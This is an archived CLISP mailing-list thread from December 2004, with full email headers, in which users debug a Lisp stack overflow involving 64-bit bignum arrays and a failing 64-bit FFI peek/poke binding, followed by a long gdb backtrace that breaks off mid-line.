http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Lisp stack overflow; RESET Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 11 16:45:01 2004 X-Original-Date: Sun, 12 Dec 2004 01:44:09 +0100 (CET) I have been working for two weeks with 64-bit integers (ie. bignums), and suddenly, nothing works any more: I only get: *** - Lisp stack overflow. RESET A minimal program would be: [pjb@thalassa src]$ /usr/local/bin/clisp -ansi -q -K full -m 128M -I -Efile ISO-8859-1 -Eterminal ISO-8859-1 ;; Loading file /home/pascal/.clisprc.lisp ... [1]> (defconstant +DEBUG+ '(:gc :range :check :ng) "Possible items: :gc debugging garbage collector. :range check gc-address range. :check check heap invariants. :bitmap debugging debugging code. :ng trace the new-generation stack.") (defmacro when-debug (what &body body) (when (intersection what +debug+) `(with-open-stream (*standard-output* *trace-output*) ,@body))) (defvar *gc-heap-size* 8192) (defparameter *memory* (make-array (list *gc-heap-size*) :element-type '(unsigned-byte 64) :initial-element 0)) (defun gc-signature () (aref *memory* 0)) (defun gc-sign (signature) (setf (aref *memory* 0) signature)) (defun gc-store (gc-address object) (when-debug (:range) (assert (< 0 gc-address *gc-heap-size*))) (setf (aref *memory* gc-address) object)) (defun gc-load (gc-address) (when-debug (:range) (assert (< 0 gc-address *gc-heap-size*))) (aref *memory* gc-address)) +DEBUG+ [2]> WHEN-DEBUG [3]> *GC-HEAP-SIZE* [4]> *MEMORY* [5]> GC-SIGNATURE [6]> GC-SIGN [7]> GC-STORE [8]> GC-LOAD [9]> (gc-store 1 10000000000000) *** - Lisp stack overflow. RESET *** - Lisp stack overflow. RESET [11]> (integer-length 10000000000000) 44 [12]> (quit) *** - The value of *ERROR-OUTPUT* was not an appropriate stream: #. It has been changed to #. *** - The value of *DEBUG-IO* was not an appropriate stream: #. It has been changed to #. Break 2 [14]> (quit) The same with -Kbase and -norc: [pjb@thalassa src]$ /usr/local/bin/clisp -a -Kbase -norc CLISP: -a is deprecated, use -ansi i . . . i I i i i i ooooo o ooooooo ooooo ooooo I I I I I I I I I 8 8 8 8 8 o 8 8 I I \ `+' / I I 8 8 8 8 8 8 I \ `-+-' / I 8 8 8 ooooo 8oooo \ `-__|__-' / 8 8 8 8 8 `--___|___--' 8 o 8 8 o 8 8 | ooooo 8oooooo ooo8ooo ooooo 8 --------+-------- Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2004 [1]> (defconstant +DEBUG+ '(:gc :range :check :ng) "Possible items: :gc debugging garbage collector. :range check gc-address range. :check check heap invariants. :bitmap debugging debugging code. :ng trace the new-generation stack.") (defmacro when-debug (what &body body) (when (intersection what +debug+) `(with-open-stream (*standard-output* *trace-output*) ,@body))) (defvar *gc-heap-size* 8192) (defparameter *memory* (make-array (list *gc-heap-size*) :element-type '(unsigned-byte 64) :initial-element 0)) (defun gc-signature () (aref *memory* 0)) (defun gc-sign (signature) (setf (aref *memory* 0) signature)) (defun gc-store (gc-address object) (when-debug (:range) (assert (< 0 gc-address *gc-heap-size*))) (setf (aref *memory* gc-address) object)) (defun gc-load (gc-address) (when-debug (:range) (assert (< 0 gc-address *gc-heap-size*))) (aref *memory* gc-address)) +DEBUG+ [2]> WHEN-DEBUG [3]> *GC-HEAP-SIZE* [4]> *MEMORY* [5]> GC-SIGNATURE [6]> GC-SIGN [7]> GC-STORE [8]> GC-LOAD [9]> (gc-store 1 10000000000000) *** - Lisp stack overflow. RESET *** - Lisp stack overflow. RESET [11]> (quit) Bye. *** - The value of *ERROR-OUTPUT* was not an appropriate stream: #. It has been changed to #. *** - The value of *DEBUG-IO* was not an appropriate stream: #. It has been changed to #. Break 2 [13]> (quit) [pjb@thalassa src]$ -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts. From sae@sdf.lonestar.org Sat Dec 11 18:59:44 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CdJxY-0000v8-83 for clisp-list@lists.sourceforge.net; Sat, 11 Dec 2004 18:59:44 -0800 Received: from mx.freeshell.org ([192.94.73.21] helo=sdf.lonestar.org ident=root) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CdJxW-0005FP-Ca for clisp-list@lists.sourceforge.net; Sat, 11 Dec 2004 18:59:44 -0800 Received: from sdf.lonestar.org (IDENT:sae@otaku.freeshell.org [192.94.73.2]) by sdf.lonestar.org (8.12.10/8.12.10) with ESMTP id iBC2xMN1015825; Sun, 12 Dec 2004 02:59:22 GMT Received: (from sae@localhost) by sdf.lonestar.org (8.12.10/8.12.8/Submit) id iBC2xLNm016734; Sun, 12 Dec 2004 02:59:21 GMT From: LiteStar X-X-Sender: sae@otaku.freeshell.org To: "Pascal J.Bourguignon" cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 64-bit FFI In-Reply-To: <20041211233152.7B06E4F9D@thalassa.informatimago.com> Message-ID: References: <20041211233152.7B06E4F9D@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 11 19:00:18 2004 X-Original-Date: Sun, 12 Dec 2004 02:59:21 +0000 (UTC) Which arch is this built for? CLISP would not build correctly on UltraSPARCII and acted funky on Alpha (both running NetBSD). On Sun, 12 Dec 2004, Pascal J.Bourguignon wrote: > Date: Sun, 12 Dec 2004 00:31:52 +0100 (CET) > From: Pascal J.Bourguignon > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] 64-bit FFI > > > It seems that 64-bit FFI doesn't work. > > I've got a simple peek-and-poke library: > > > unsigned char peek8 (unsigned char* address){return(*address);} > unsigned short peek16(unsigned short* address){return(*address);} > unsigned long peek32(unsigned long* address){return(*address);} > unsigned long long peek64(unsigned long long* address){return(*address);} > void poke8(unsigned char* address,unsigned char value){(*address)=value;} > void poke16(unsigned short* address,unsigned short value){(*address)=value;} > void poke32(unsigned long* address,unsigned long value){(*address)=value;} > void poke64(unsigned long long* address, > unsigned long long value){(*address)=value;} > > The code generated is ok, the C compiler push and fetches the 64-bit > arguments on the stack, but it doesn't work with these FFI declarations: > > > (defmacro generate-peek-and-poke () > (loop with code = '() > for size in '(8 16 32 64) ;; peek and poke of 64-bit don't work. > for c-peek-name = (format nil "peek~D" size) > for c-poke-name = (format nil "poke~D" size) do > (loop for type in '(uint sint) > for l-peek-name = (intern (with-standard-io-syntax > (format nil"PEEK-~A~D" type size)) > "COM.INFORMATIMAGO.CLISP.RAW-MEMORY") > for l-poke-name = (intern (with-standard-io-syntax > (format nil"POKE-~A~D" type size)) > "COM.INFORMATIMAGO.CLISP.RAW-MEMORY") > for l-type = (intern (with-standard-io-syntax > (format nil"~A~D" type size)) > "FFI") > do > (push `(ffi:def-call-out ,l-peek-name > (:name ,c-peek-name) > (:arguments (address ffi:ulong)) > (:return-type ,l-type) > (:library #.+library+) (:language :stdc)) code) > (push `(ffi:def-call-out ,l-poke-name > (:name ,c-poke-name) > (:arguments (address ffi:ulong) (value ,l-type)) > (:return-type nil) > (:library #.+library+) (:language :stdc)) code)) > finally (return `(progn ,@ code)))) > > > > (eval-when (:load-toplevel :execute) > (generate-peek-and-poke)) > > > > This is not urgent since I use this work around: > > (defun peek-uint64 (address) > (dpb (raw-memory:peek-uint32 (+ 4 address)) > (byte 32 32) > (raw-memory:peek-uint32 address))) > > (defun peek-sint64 (address) > (dpb (raw-memory:peek-uint32 (+ 4 address)) > (byte 32 32) > (raw-memory:peek-uint32 address))) > > (defun poke-uint64 (address object) > (raw-memory:poke-uint32 address (ldb (byte 32 0) object)) > (raw-memory:poke-uint32 (+ 4 address) (ldb (byte 32 32) object))) > > (defun poke-sint64 (address object) > (raw-memory:poke-uint32 address (ldb (byte 32 0) object)) > (raw-memory:poke-uint32 (+ 4 address) (ldb (byte 32 32) object))) > > -- > __Pascal Bourguignon__ http://www.informatimago.com/ > The world will now reboot; don't bother saving your artefacts. > > > > ------------------------------------------------------- > SF email is sponsored by - The IT Product Guide > Read honest & candid reviews on hundreds of IT Products from real users. > Discover which products truly live up to the hype. Start reading now. > http://productguide.itmanagersjournal.com/ > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > ------------------------------------------------------- << God is a commedian playing to an audiance too afraid to laugh >> -- Voltair << Are you one who looks on? Or one who lends a hand? Or one who looks away and walks off? Third Question of conscience. >> -- Nietzsche webspace: Super DImensional Fortress - http://sae.freeshell.org Dowling Computer Club - http://alien.dowling.edu/~litestar/ sae@sdf.lonestar.org SDF Public Access UNIX System - http://sdf.lonestar.org Dowling College Computer Club - http://alien.dowling.edu From pjb@informatimago.com Sat Dec 11 19:35:17 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CdKVx-0003bz-F3 for clisp-list@lists.sourceforge.net; Sat, 11 Dec 2004 19:35:17 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CdKVw-0006z7-5c for clisp-list@lists.sourceforge.net; Sat, 11 Dec 2004 19:35:17 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id E9CAA586E3; Sun, 12 Dec 2004 04:35:05 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D15694F8A; Sun, 12 Dec 2004 04:35:04 +0100 (CET) Message-ID: <16827.48232.806084.590670@thalassa.informatimago.com> To: LiteStar Cc: "Pascal J.Bourguignon" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 64-bit FFI In-Reply-To: References: <20041211233152.7B06E4F9D@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 11 19:36:01 2004 X-Original-Date: Sun, 12 Dec 2004 04:35:04 +0100 LiteStar writes: > Which arch is this built for? CLISP would not build correctly on > UltraSPARCII and acted funky on Alpha (both running NetBSD). > On Sun, 12 Dec 2004, Pascal J.Bourguignon wrote: On a 32-bit Athlon. CL-USER> (lisp-implementation-type) "CLISP" CL-USER> (lisp-implementation-version) "2.33.2 (2004-06-02) (built 3301657794) (memory 3301658327)" CL-USER> (machine-type) "I686" CL-USER> (machine-version) "I686" CL-USER> (software-type) "ANSI C program" CL-USER> (software-version) "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" CL-USER> > > Date: Sun, 12 Dec 2004 00:31:52 +0100 (CET) > > From: Pascal J.Bourguignon > > To: clisp-list@lists.sourceforge.net > > Subject: [clisp-list] 64-bit FFI > > > > > > It seems that 64-bit FFI doesn't work. > > > > I've got a simple peek-and-poke library: > > > > > > unsigned char peek8 (unsigned char* address){return(*address);} > > unsigned short peek16(unsigned short* address){return(*address);} > > unsigned long peek32(unsigned long* address){return(*address);} > > unsigned long long peek64(unsigned long long* address){return(*address);} > > void poke8(unsigned char* address,unsigned char value){(*address)=value;} > > void poke16(unsigned short* address,unsigned short value){(*address)=value;} > > void poke32(unsigned long* address,unsigned long value){(*address)=value;} > > void poke64(unsigned long long* address, > > unsigned long long value){(*address)=value;} > > > > The code generated is ok, the C compiler push and fetches the 64-bit > > arguments on the stack, but it doesn't work with these FFI declarations: > > > > > > (defmacro generate-peek-and-poke () > > (loop with code = '() > > for size in '(8 16 32 64) ;; peek and poke of 64-bit don't work. > > for c-peek-name = (format nil "peek~D" size) > > for c-poke-name = (format nil "poke~D" size) do > > (loop for type in '(uint sint) > > for l-peek-name = (intern (with-standard-io-syntax > > (format nil"PEEK-~A~D" type size)) > > "COM.INFORMATIMAGO.CLISP.RAW-MEMORY") > > for l-poke-name = (intern (with-standard-io-syntax > > (format nil"POKE-~A~D" type size)) > > "COM.INFORMATIMAGO.CLISP.RAW-MEMORY") > > for l-type = (intern (with-standard-io-syntax > > (format nil"~A~D" type size)) > > "FFI") > > do > > (push `(ffi:def-call-out ,l-peek-name > > (:name ,c-peek-name) > > (:arguments (address ffi:ulong)) > > (:return-type ,l-type) > > (:library #.+library+) (:language :stdc)) code) > > (push `(ffi:def-call-out ,l-poke-name > > (:name ,c-poke-name) > > (:arguments (address ffi:ulong) (value ,l-type)) > > (:return-type nil) > > (:library #.+library+) (:language :stdc)) code)) > > finally (return `(progn ,@ code)))) > > > > > > > > (eval-when (:load-toplevel :execute) > > (generate-peek-and-poke)) -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts. From pjb@informatimago.com Sat Dec 11 20:03:28 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CdKxE-00061T-2U for clisp-list@lists.sourceforge.net; Sat, 11 Dec 2004 20:03:28 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CdKxA-00046n-He for clisp-list@lists.sourceforge.net; Sat, 11 Dec 2004 20:03:27 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 4F0E7586E3; Sun, 12 Dec 2004 05:03:17 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 62B634F8A; Sun, 12 Dec 2004 05:03:17 +0100 (CET) Message-ID: <16827.49925.373794.851211@thalassa.informatimago.com> To: Cc: Subject: [clisp-list] Lisp stack overflow; RESET / a backtrace In-Reply-To: <20041212004409.C11684F8A@thalassa.informatimago.com> References: <20041212004409.C11684F8A@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 11 20:04:10 2004 X-Original-Date: Sun, 12 Dec 2004 05:03:17 +0100 Pascal J.Bourguignon writes: > > I have been working for two weeks with 64-bit integers (ie. bignums), > and suddenly, nothing works any more: I only get: > *** - Lisp stack overflow. RESET Any advice on how to debug lisp.run with gdb? I tried to compile with CC="gcc -g" and I get a /local/languages/clisp-debug/lib/clisp/base/lisp.run: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), not stripped but in gdb I don't get any symbol and the backtrace of the C stack doesn't show any function name but the bottom: #24836 0x4009f857 in round_and_return () from /lib/libc.so.6 Anyway, massaging the backtrace given by gdb and the symbol table dumped with nm I get this bottom of stack (with a couple of periods): 24557 080596C5 in eval_fsubr + 181 24558 080594B7 in eval1 + 455 24559 080591B2 in eval + 386 24560 08056107 in eval_5env + 119 24561 08056139 in eval_noenv + 41 24562 08067B2D in C_eval + 29 24563 0805E9DC in interpret_bytecode_ + 3916 24564 0805D5BB in funcall_closure + 427 24565 0805EC67 in interpret_bytecode_ + 4567 24566 0805D5BB in funcall_closure + 427 24567 080604CC in interpret_bytecode_ + 10812 24568 0805D5BB in funcall_closure + 427 24569 0805E932 in interpret_bytecode_ + 3746 24570 0805D5BB in funcall_closure + 427 24571 0805C02E in apply_subr + 2254 24572 08061E9B in interpret_bytecode_ + 17419 24573 0805C3AC in apply_closure + 860 24574 08061EE8 in interpret_bytecode_ + 17496 24575 0805C3AC in apply_closure + 860 24576 08061E9B in interpret_bytecode_ + 17419 24577 0805C3AC in apply_closure + 860 24578 08061EE8 in interpret_bytecode_ + 17496 24579 0805C3AC in apply_closure + 860 24580 08061EE8 in interpret_bytecode_ + 17496 24581 0805D5BB in funcall_closure + 427 24582 080CFC73 in end_error + 419 24583 080CFDFE in fehler + 62 24584 0805F966 in interpret_bytecode_ + 7894 24585 0805D5BB in funcall_closure + 427 24586 0805E89E in interpret_bytecode_ + 3598 24587 0805D5BB in funcall_closure + 427 24588 080639C0 in compile_eval_form + 48 24589 080640DC in C_let + 316 24590 080596C5 in eval_fsubr + 181 24591 080594B7 in eval1 + 455 24592 080591B2 in eval + 386 24593 08056107 in eval_5env + 119 24594 08056139 in eval_noenv + 41 24595 08067B2D in C_eval + 29 24596 0805E9DC in interpret_bytecode_ + 3916 24597 0805D5BB in funcall_closure + 427 24598 0805EC67 in interpret_bytecode_ + 4567 24599 0805D5BB in funcall_closure + 427 24600 080604CC in interpret_bytecode_ + 10812 24601 0805D5BB in funcall_closure + 427 24602 0805E932 in interpret_bytecode_ + 3746 24603 0805D5BB in funcall_closure + 427 24604 0805C02E in apply_subr + 2254 24605 08061E9B in interpret_bytecode_ + 17419 24606 0805C3AC in apply_closure + 860 24607 08061EE8 in interpret_bytecode_ + 17496 24608 0805C3AC in apply_closure + 860 24609 08061E9B in interpret_bytecode_ + 17419 24610 0805C3AC in apply_closure + 860 24611 08061EE8 in interpret_bytecode_ + 17496 24612 0805C3AC in apply_closure + 860 24613 08061EE8 in interpret_bytecode_ + 17496 24614 0805D5BB in funcall_closure + 427 24615 080CFC73 in end_error + 419 24616 080CFDFE in fehler + 62 24617 0805F966 in interpret_bytecode_ + 7894 24618 0805D5BB in funcall_closure + 427 24619 0805E89E in interpret_bytecode_ + 3598 24620 0805D5BB in funcall_closure + 427 24621 080639C0 in compile_eval_form + 48 24622 080640DC in C_let + 316 24623 080596C5 in eval_fsubr + 181 24624 080594B7 in eval1 + 455 24625 080591B2 in eval + 386 24626 08056107 in eval_5env + 119 24627 08056139 in eval_noenv + 41 24628 08067B2D in C_eval + 29 24629 0805E9DC in interpret_bytecode_ + 3916 24630 0805D5BB in funcall_closure + 427 24631 0805EC67 in interpret_bytecode_ + 4567 24632 0805D5BB in funcall_closure + 427 24633 080604CC in interpret_bytecode_ + 10812 24634 0805D5BB in funcall_closure + 427 24635 0805E932 in interpret_bytecode_ + 3746 24636 0805D5BB in funcall_closure + 427 24637 0805C02E in apply_subr + 2254 24638 08061E9B in interpret_bytecode_ + 17419 24639 0805C3AC in apply_closure + 860 24640 08061EE8 in interpret_bytecode_ + 17496 24641 0805C3AC in apply_closure + 860 24642 08061E9B in interpret_bytecode_ + 17419 24643 0805C3AC in apply_closure + 860 24644 08061EE8 in interpret_bytecode_ + 17496 24645 0805C3AC in apply_closure + 860 24646 08061EE8 in interpret_bytecode_ + 17496 24647 0805D5BB in funcall_closure + 427 24648 080CFC73 in end_error + 419 24649 080CFDFE in fehler + 62 24650 0805F966 in interpret_bytecode_ + 7894 24651 0805D5BB in funcall_closure + 427 24652 0805E89E in interpret_bytecode_ + 3598 24653 0805D5BB in funcall_closure + 427 24654 080639C0 in compile_eval_form + 48 24655 080640DC in C_let + 316 24656 080596C5 in eval_fsubr + 181 24657 080594B7 in eval1 + 455 24658 080591B2 in eval + 386 24659 08056107 in eval_5env + 119 24660 08056139 in eval_noenv + 41 24661 08067B2D in C_eval + 29 24662 0805E9DC in interpret_bytecode_ + 3916 24663 0805D5BB in funcall_closure + 427 24664 0805EC67 in interpret_bytecode_ + 4567 24665 0805D5BB in funcall_closure + 427 24666 080604CC in interpret_bytecode_ + 10812 24667 0805D5BB in funcall_closure + 427 24668 0805E932 in interpret_bytecode_ + 3746 24669 0805D5BB in funcall_closure + 427 24670 0805C02E in apply_subr + 2254 24671 08061E9B in interpret_bytecode_ + 17419 24672 0805C3AC in apply_closure + 860 24673 08061EE8 in interpret_bytecode_ + 17496 24674 0805C3AC in apply_closure + 860 24675 08061E9B in interpret_bytecode_ + 17419 24676 0805C3AC in apply_closure + 860 24677 08061EE8 in interpret_bytecode_ + 17496 24678 0805C3AC in apply_closure + 860 24679 08061EE8 in interpret_bytecode_ + 17496 24680 0805D5BB in funcall_closure + 427 24681 080CFC73 in end_error + 419 24682 080CFDFE in fehler + 62 24683 0805F966 in interpret_bytecode_ + 7894 24684 0805D5BB in funcall_closure + 427 24685 0805E89E in interpret_bytecode_ + 3598 24686 0805D5BB in funcall_closure + 427 24687 080639C0 in compile_eval_form + 48 24688 080640DC in C_let + 316 24689 080596C5 in eval_fsubr + 181 24690 080594B7 in eval1 + 455 24691 080591B2 in eval + 386 24692 08056107 in eval_5env + 119 24693 08056139 in eval_noenv + 41 24694 08067B2D in C_eval + 29 24695 0805E9DC in interpret_bytecode_ + 3916 24696 0805D5BB in funcall_closure + 427 24697 0805EC67 in interpret_bytecode_ + 4567 24698 0805D5BB in funcall_closure + 427 24699 080604CC in interpret_bytecode_ + 10812 24700 0805D5BB in funcall_closure + 427 24701 0805E932 in interpret_bytecode_ + 3746 24702 0805D5BB in funcall_closure + 427 24703 0805C02E in apply_subr + 2254 24704 08061E9B in interpret_bytecode_ + 17419 24705 0805C3AC in apply_closure + 860 24706 08061EE8 in interpret_bytecode_ + 17496 24707 0805C3AC in apply_closure + 860 24708 08061E9B in interpret_bytecode_ + 17419 24709 0805C3AC in apply_closure + 860 24710 08061EE8 in interpret_bytecode_ + 17496 24711 0805C3AC in apply_closure + 860 24712 08061EE8 in interpret_bytecode_ + 17496 24713 0805D5BB in funcall_closure + 427 24714 080CFC73 in end_error + 419 24715 080CFDFE in fehler + 62 24716 0805F966 in interpret_bytecode_ + 7894 24717 0805D5BB in funcall_closure + 427 24718 0805E89E in interpret_bytecode_ + 3598 24719 0805D5BB in funcall_closure + 427 24720 080639C0 in compile_eval_form + 48 24721 080640DC in C_let + 316 24722 080596C5 in eval_fsubr + 181 24723 080594B7 in eval1 + 455 24724 080591B2 in eval + 386 24725 08056107 in eval_5env + 119 24726 08056139 in eval_noenv + 41 24727 08067B2D in C_eval + 29 24728 0805E9DC in interpret_bytecode_ + 3916 24729 0805D5BB in funcall_closure + 427 24730 0805EC67 in interpret_bytecode_ + 4567 24731 0805D5BB in funcall_closure + 427 24732 080604CC in interpret_bytecode_ + 10812 24733 0805D5BB in funcall_closure + 427 24734 0805E932 in interpret_bytecode_ + 3746 24735 0805D5BB in funcall_closure + 427 24736 0805C02E in apply_subr + 2254 24737 08061E9B in interpret_bytecode_ + 17419 24738 0805C3AC in apply_closure + 860 24739 08061EE8 in interpret_bytecode_ + 17496 24740 0805C3AC in apply_closure + 860 24741 08061E9B in interpret_bytecode_ + 17419 24742 0805C3AC in apply_closure + 860 24743 08061EE8 in interpret_bytecode_ + 17496 24744 0805C3AC in apply_closure + 860 24745 08061EE8 in interpret_bytecode_ + 17496 24746 0805D5BB in funcall_closure + 427 24747 080CFC73 in end_error + 419 24748 080CFDFE in fehler + 62 24749 0805F966 in interpret_bytecode_ + 7894 24750 0805D5BB in funcall_closure + 427 24751 0805E89E in interpret_bytecode_ + 3598 24752 0805D5BB in funcall_closure + 427 24753 080639C0 in compile_eval_form + 48 24754 080640DC in C_let + 316 24755 080596C5 in eval_fsubr + 181 24756 080594B7 in eval1 + 455 24757 080591B2 in eval + 386 24758 08056107 in eval_5env + 119 24759 08056139 in eval_noenv + 41 24760 08067B2D in C_eval + 29 24761 0805E9DC in interpret_bytecode_ + 3916 24762 0805D5BB in funcall_closure + 427 24763 0805EC67 in interpret_bytecode_ + 4567 24764 0805D5BB in funcall_closure + 427 24765 080604CC in interpret_bytecode_ + 10812 24766 0805D5BB in funcall_closure + 427 24767 0805E932 in interpret_bytecode_ + 3746 24768 0805D5BB in funcall_closure + 427 24769 0805C02E in apply_subr + 2254 24770 08061E9B in interpret_bytecode_ + 17419 24771 0805C3AC in apply_closure + 860 24772 08061EE8 in interpret_bytecode_ + 17496 24773 0805C3AC in apply_closure + 860 24774 08061E9B in interpret_bytecode_ + 17419 24775 0805C3AC in apply_closure + 860 24776 08061EE8 in interpret_bytecode_ + 17496 24777 0805C3AC in apply_closure + 860 24778 08061EE8 in interpret_bytecode_ + 17496 24779 0805D5BB in funcall_closure + 427 24780 080CFC73 in end_error + 419 24781 080CFDFE in fehler + 62 24782 0805F966 in interpret_bytecode_ + 7894 24783 0805D5BB in funcall_closure + 427 24784 0805E89E in interpret_bytecode_ + 3598 24785 0805D5BB in funcall_closure + 427 24786 080639C0 in compile_eval_form + 48 24787 080640DC in C_let + 316 24788 080596C5 in eval_fsubr + 181 24789 080594B7 in eval1 + 455 24790 080591B2 in eval + 386 24791 08056107 in eval_5env + 119 24792 08056139 in eval_noenv + 41 24793 08067B2D in C_eval + 29 24794 0805E9DC in interpret_bytecode_ + 3916 24795 0805D5BB in funcall_closure + 427 24796 0805EC67 in interpret_bytecode_ + 4567 24797 0805D5BB in funcall_closure + 427 24798 080604CC in interpret_bytecode_ + 10812 24799 0805D5BB in funcall_closure + 427 24800 0805E932 in interpret_bytecode_ + 3746 24801 0805D5BB in funcall_closure + 427 24802 0805C02E in apply_subr + 2254 24803 08061E9B in interpret_bytecode_ + 17419 24804 0805C3AC in apply_closure + 860 24805 08061EE8 in interpret_bytecode_ + 17496 24806 0805C3AC in apply_closure + 860 24807 08061E9B in interpret_bytecode_ + 17419 24808 0805C3AC in apply_closure + 860 24809 08061EE8 in interpret_bytecode_ + 17496 24810 0805C3AC in apply_closure + 860 24811 08061EE8 in interpret_bytecode_ + 17496 24812 0805D5BB in funcall_closure + 427 24813 080CFC73 in end_error + 419 24814 080CFDFE in fehler + 62 24815 0805F966 in interpret_bytecode_ + 7894 24816 0805D5BB in funcall_closure + 427 24817 080D150B in C_invoke_debugger + 155 24818 0805D1AD in funcall_subr + 605 24819 080CFABA in signal_and_debug + 170 24820 080CFC95 in end_error + 453 24821 080CFDFE in fehler + 62 24822 0808DC61 in fehler_value_stream + 257 24823 08079D53 in var_stream + 115 24824 080CCA58 in read_form + 72 24825 080CD35A in C_read_eval_print + 10 24826 0805D1AD in funcall_subr + 605 24827 0805E97C in interpret_bytecode_ + 3820 24828 0805D5BB in funcall_closure + 427 24829 080672D3 in C_driver + 115 24830 0805E9DC in 